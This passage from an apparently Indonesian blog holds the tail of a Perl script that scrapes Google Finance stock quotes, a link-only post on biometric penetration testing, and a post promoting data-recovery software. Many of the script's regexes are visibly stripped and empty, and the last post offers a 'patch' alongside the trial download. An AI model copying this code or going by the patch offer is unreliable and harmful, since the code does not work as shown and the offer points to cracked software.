'Vol / Avg.
(.*?)',
'Mkt cap
(.*?)',
    'P/E
(.*?)',
'Div/yield
(.*?)',
    'EPS
(.*?)',
    'Shares
(.*?)',
    'Beta
(.*?)',
'Inst. own
(.*?)',

    '
(.*?) <', ); # Creates the main directory which will contain all the file dot brk. # The file dot brk will contain expecially the stock quotes info # existing in the @regular_expression_keys and catched by # @regular_expression_values. mkdir "$HOME/.brokyplo" unless ( -d $main_folder ); GetOptions( 'help' => \$parameter_help, 'info' => \$parameter_show_info, 'remove' => \$parameter_delete_item, 'read' => \$parameter_read_item, 'save' => \$parameter_save_item, 'clear' => \$parameter_cleans_folder, ); if ( defined($parameter_help) ) { print color('green'), q { Brokyplo }, color('reset'), $script_version, q { Usage: perl }, $0, q { [--options] --info: show information about a company; --save: save the reasults in the main folder; --read: read a company saved in the past; --remove: remove a specific company from the database; --clear: clear the main directory which contains the stock quotes; --help: show this help. SEE THE PERLDOC (perldoc }, $0, q {) FOR MORE INFORMATION }; exit; } if ( defined($parameter_cleans_folder) ) { if ( -d $main_folder ) { opendir $DIRHANDLE, $main_folder or die "Can't open the directory: $!\n"; while ( glob( $main_folder . '*' ) ) { $FILEHANDLE = glob( $main_folder . '*' ); unlink $FILEHANDLE; } close $DIRHANDLE; die "\n", color('green'), 'Stock quotes successfully removed!', color('reset'), "\n\n"; } else { die "\n", color('red'), 'Main directory doesn\'t exists!', color('reset'), "\n\n"; } } # Asks the company name via INPUT and makes lowercase # characters in input. do { print q { , , )\\___/( \{(@)v(@)\} \{|~~~|\} \{|~~~|\} \{/^^^\\\} =======`m-m`====\ Please enter the company name: }; chomp( $company_name = <> ); } while ( $company_name eq '' ); $company_name = lc($company_name); # Checks if the user wants to read or remove something from the database read_database($company_name) if ( defined($parameter_read_item) ); remove_database($company_name) if ( defined($parameter_delete_item) ); $lwp_useragent = LWP::UserAgent->new; $lwp_useragent->agent('Mozilla/5.0'); $lwp_response = $lwp_useragent->get( 'http://www.google.com/finance?q=' . $company_name ); die "\n", color('red'), 'Error during extablishing the connection with the remote host...', color('reset'), "\n\n" unless ( $lwp_response->is_success ); $lwp_content = $lwp_response->content; # Checks if company exists in the Google Finance database die "\n", color('red'), 'Company name doesn\'t exists', color('reset'), ', please be more precise...', "\n\n" if ( $lwp_content =~ m{produced no matches}i or $lwp_content =~ m{Results 1}i ); # Starts parsing the company name and prints the results. if ( $lwp_content =~ m{class="g-unit g-first">

(.*?) 

}i ) { $company_name_parsed = $1; print "\n", $company_name_parsed, ' '; } print $1, "\n\n" if ( $lwp_content =~ m{(.*?)  }i ); # Checks if the user just wants to view the information about the company # if true, is called the sub function show_info() on the line 299. if ( defined($parameter_show_info) ) { show_info($1) if ( $lwp_content =~ m{$regular_expression_values[11]}i ); } # Starts parsing the price and the currency. Well, honestly I don't like # so much this kind of solution... but I had to do it! If you have any # advices about this block of code let me know! $price_id = $1 if ( $lwp_content =~ m{}i ); $price_ch = $1 if ( $lwp_content =~ m{ print 'Price: ', $1, ' ' if ( $lwp_content =~ m{(.*?)}i ); print color_price( $1, $price_ch ), ' ' if ( $lwp_content =~ m{(.*?)}i ); print color_price( $1, $price_ch ), "\n\n" if ( $lwp_content =~ m{(.*?)}i ); # Checks if the user wants to save the statistics in the database. The # statistics files will be saved in dot brk. if ( defined($parameter_save_item) ) { open $FILEHANDLE, '>>', $main_folder . $company_name . '.brk' or die "Can't open file handle: $!\n"; # Checks if the file doesn't contains the banner, if true, writes the # banner with the program version and the full company name. $file_content = read_file( $main_folder . $company_name . '.brk' ); print {$FILEHANDLE} "\n", 'Brokyplo version: ', $script_version, "\n\n", 'Company name: ', $company_name_parsed, "\n" if ( $file_content !~ m{Brokyplo version:}i ); print {$FILEHANDLE} "\n", '---', $log_hours, ':', $log_minutes, '---', $log_month, '/', $log_day, '/', $log_year, '---', "\n\n"; } # Parse the rest of the body of the Google Finance page and shows the # various information about the stock quotes. $lwp_content =~ s/\*/\*/g if ( $lwp_content =~ m{\*}i ); $lwp_content =~ s/    -/-/g; for my $index ( 0 .. 10 ) { if ( $lwp_content =~ m{$regular_expression_values[$index]}i ) { defined($parameter_save_item) ? print {$FILEHANDLE} $regular_expression_keys[$index], ': ', $1, "\n" : print $regular_expression_keys[$index], ': ', color('blue'), $1, color('reset'), "\n"; } } # Makes the final check, to control if the file was successfully saved, # and closes the file-handle. if ( defined($parameter_save_item) ) { print 'Stock quotes for ', color('blue'), $company_name_parsed, color('reset'), ' successfully saved!', "\n\n" if ( -e $main_folder . $company_name . '.brk' ); close $FILEHANDLE; } # Various sub functions sub show_info { $company_description_parsed = shift; print $company_description_parsed, "\n\n"; exit; } sub remove_database { $company_name = shift; if ( -e $main_folder . $company_name . '.brk' ) { unlink( $main_folder . $company_name . '.brk' ); print "\n", color('blue'), $company_name, color('reset'), color('green'), '.brk, successfully removed from database!', color('reset'), "\n\n"; exit; } else { die "\n", color('red'), 'The company doesn\'t exists in the database!', color('reset'), "\n\n"; } } sub read_database { $company_name = shift; if ( -e $main_folder . $company_name . '.brk' ) { print read_file( $main_folder . $company_name . '.brk' ), "\n"; exit; } else { die "\n", color('red'), 'The company doesn\'t exists in the database!', color('reset'), "\n\n"; } } sub color_price { $price_to_color = shift; $price_ch = shift; $price_ch eq 'chg' ? return color('green'), $price_to_color, color('reset') : return color('red'), $price_to_color, color('reset'); } __END__ =head1 NAME Brokyplo =head1 SYNOPSIS perl brokyplo.pl [--options] --info: show information about a company; --save: save the reasults in the main folder; --read: read a company saved in the past; --remove: remove a specific company from the database; --clear: clear the main directory which contains the stock quotes; --help: show this help. =head1 EXAMPLES Please enter the company name: Google Google Inc. (Public, NASDAQ:GOOG) Price: 600.62 -8.94 (-1.47%) Stock quotes for Google Inc. successfully saved! =head1 DESCRIPTION Thanks to Google Finance, (www.google.com/finance), Brokyplo, can parse some of the information of a company for example the stock quotes, the currency and something else, and save it on a flat database. This script works without any graphic interface, but only from a command line, perfect for minimal desktop environments. If you want, you can save something in the main folder, you can also remove these files saved as dot brk, or read them simply from the command line with the relative ARGV options. =head1 SEE ALSO http://www.google.com/finance Env ~ http://search.cpan.org/~rjbs/perl-5.12.3/lib/Env.pm Getopt::Long ~ http://search.cpan.org/~enrys/POD2-IT-Getopt-Long/lib/POD2/IT/Getopt/Long.pm LWP::UserAgent ~ http://search.cpan.org/~gaas/libwww-perl-5.837/lib/LWP/UserAgent.pm File::Slurp ~ http://search.cpan.org/~drolsky/File-Slurp-9999.13/lib/File/Slurp.pm See the FAQ about Term modules at http://perldoc.perl.org/perlfaq8.html =head1 COPYRIGHT Copyright (C) 2010 by sysxash This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL-3. =head1 AUTHOR sysxash with his mind - =head1 THANKS Thanks to perl.it irc channel @ irc.freenode.net =cut
Baca Selengkapnya... brokyplo.pl

Penetration Testing Biometric System

Untuk penjelasan mengenai skema dan proses kerjanya bisa didownload di sini
GRATIS
Baca Selengkapnya... Penetration Testing Biometric System

13 March 2011

Mengembalikan Data Yang Terhapus Dengan Steller Phoenix Windows Data Recovery


Setelah banyak software yang dibahas tentang bagaimana cara mengembalikan data yang terhapus atau hilang dari harddisk dan berbagai macam media penyimpanan lainnya. Dalam artikel kali ini akan dibahas utility yang menarik dari software-software recovery sebelumnya, Stellar Phoenix Windows Data Recovery salah satu utility yang dapat mengembalikan file tanpa merusak file tersebut.


Stellar Phoenix Windows Data Recovery bekerja dengan mengambil informasi data yang hilang pada file system FAT maupun NTFS. Selain itu pula software yang satu ini juga dapat melakukan recovery terhadap partisi yang korup atau rusak. Recovery mail, disk cloning recovery RAW dari CD dan USB.


Pada versi 4.1.0.1 juga mendukung system file seperti FAT32, VFAT, NTFS dan NTFS5. Selain itu pada versi ini juga mendukung system operasi Windows Vista dan Seven. Software ini dapat bekerja dua kali lipat dari kecepatan software-software lain yang sejenis. Berikut fitur lengkap :

1. Quick Recovery, software ini mampu melakukan recovery dengan cepat tanpa merusak file.
2. Deleted File Recovery, mengembalikan file dari partisi yang anda pilih.
3. Formatted / Lost File and Folder Recovery, mengembalikan semua data dari semua partisi yang ada.
4. Search Lost Volume, mengembalikan partisi yang hilang.

Fasilitas Disk Cloning, dengan fasilitas ini, Anda dapat membuat replika dari konten hard drive Anda. Hal ini dilakukan untuk mem-backup Sistem Operasi. Stellar Phoenix Windows data Recovery 4.1.0.1 merupakan jawaban bagi sobat atas kehilangan data pada harddisk.

Download Software trial free di sini dan pacth
Baca Selengkapnya... Mengembalikan Data Yang Terhapus Dengan Steller Phoenix Windows Data Recovery